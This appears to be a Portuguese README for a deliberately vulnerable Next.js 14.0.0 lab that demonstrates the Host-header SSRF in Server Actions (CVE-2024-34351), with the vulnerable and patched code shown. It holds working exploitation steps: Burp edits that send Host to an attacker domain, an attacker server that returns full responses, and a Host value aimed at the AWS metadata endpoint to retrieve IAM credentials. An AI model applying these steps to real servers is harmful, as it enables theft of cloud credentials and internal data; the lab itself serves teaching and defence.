
Aplicação mínima Next.js 14.0.0 para demonstrar o CVE-2024-34351 -- uma vulnerabilidade de Server-Side Request Forgery (SSRF) nas Server Actions do Next.js.
Descoberta por Adam Kues e Shubham Shah na Assetnote. Corrigida no Next.js 14.1.1.
Quando uma Server Action chama redirect('/some-path'), o Next.js constrói uma URL de fetch interna usando o cabeçalho Host da requisição recebida, sem validação:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Um atacante que controla o cabeçalho Host pode apontar esse fetch interno para qualquer destino que o servidor consiga alcançar.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
O interactsh é útil para confirmar que o servidor Next.js faz uma requisição de saída para um host controlado pelo atacante.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
No Burp Suite:
http://localhost:3000 e envie o formulário de login com a interceptação ativadaHost: localhost:3000 para Host: abc123.oast.funIsso prova o SSRF de saída. A requisição se origina do processo do servidor, não do navegador.
O interactsh não consegue controlar a resposta, então o Next.js não prosseguirá com o GET. Para obter o corpo completo da resposta retornado, use o servidor do atacante incluso:
python3 attacker/attacker_server.py 8888
Defina o cabeçalho Host para <your-lan-ip>:8888 e encaminhe. O servidor do atacante responde ao HEAD com Content-Type: text/x-component, acionando o GET. O corpo completo da resposta é retornado dentro da resposta do Next.js visível no Burp.
Ao executar o aplicativo vulnerável em uma instância AWS EC2, defina o cabeçalho Host para:
Host: 169.254.169.254
O Next.js buscará no serviço de metadados da instância. Para recuperar as credenciais IAM:
Host: 169.254.169.254
Em seguida, ajuste o caminho de redirecionamento ou use uma requisição de acompanhamento para o alvo:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
A resposta completa dos metadados é retornada ao navegador do atacante.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']